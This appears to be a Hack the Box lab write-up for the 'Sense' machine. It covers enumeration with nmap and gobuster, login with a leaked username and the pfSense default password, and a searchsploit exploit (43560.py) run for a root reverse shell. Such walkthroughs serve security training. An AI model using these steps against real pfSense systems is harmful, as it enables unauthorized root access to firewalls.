• GroTEK

Sense: Hack the Box Write-Up


Sense, an easy Linux machine, makes use of a vulnerable firewall called PFSense to block attempted brute forcing attacks. However, enumeration of the machine reveals the credentials we need to gain access and exploit a vulnerable portion of the firewall's interface, dropping us directly into a root shell.


Initial review of nmap shows the only ports open are over HTTP and HTTPS:

Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-06 20:10 EDT
Nmap scan report for
Host is up (0.042s latency).
Not shown: 998 filtered ports
80/tcp open http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Did not follow redirect to
443/tcp open ssl/https?
|_ssl-date: TLS randomness does not represent time
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.67 seconds

Taking this into consideration, we can run the following gobuster scan in the background while manually interacting and enumerating the web server:

Gobuster v3.0.1
[+] Url:
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: txt,php
[+] Expanded: true
2019/07/06 21:47:09 Starting gobuster
=============================================================== (Status: 301) (Status: 200) (Status: 200) (Status: 200) (Status: 301) (Status: 301) (Status: 200) (Status: 200) (Status: 200) (Status: 200) (Status: 200) (Status: 301) (Status: 301) (Status: 301) (Status: 200) (Status: 200) (Status: 301) (Status: 200) (Status: 301) (Status: 200) (Status: 301) (Status: 301) (Status: 200) (Status: 200) (Status: 200) (Status: 301) (Status: 200) (Status: 301) (Status: 403)
2019/07/06 21:55:51 Finished

While there's almost an overload of directories discovered, two items stick out the most: /changelog.txt and /system-users.txt. Accessing /system-users.txt shows the following support ticket detailing the need for a user to be created with a credential set of "rohit" and company defaults:


Although this doesn't give us full access immediately, it does point is in the right direction. Going back to the landing page and attempting to login with a username of "rohit" and default password of the PFSense device, "pfsense", grants us access:

Privilege Escalation

Now that we have access to the web interface, we notice the version displayed proudly for us to use when searching for potential exploits. While there's plenty that appear to work for this version number, remembering the /changelog.txt file from earlier could assist in whittling this list down:

Armed with this knowledge, we can go do some good, old fashioned Googling to find a blog post detailing 3 exploits affecting this version of PFSense. Reading this, there is only one location of the web server we can manipulate: an exploit that will give access via the RRD Graph. We can use the an exploit from searchsploit to hopefully give us a shell.

Having to make some simple changes to exploits is part is no stranger to the OSCP and this python script is some nice practice. Noticing errors with a URL not parsing as a string, hardcoding the exploit with Sense's IP Address will do the trick. Running the following command after making the changes will give us a reverse shell:

python3 43560.py --rhost --lhost --lport 1234 --username rohit --password pfsense

Setting up a netcat listener will give us an easy root and access to that flag: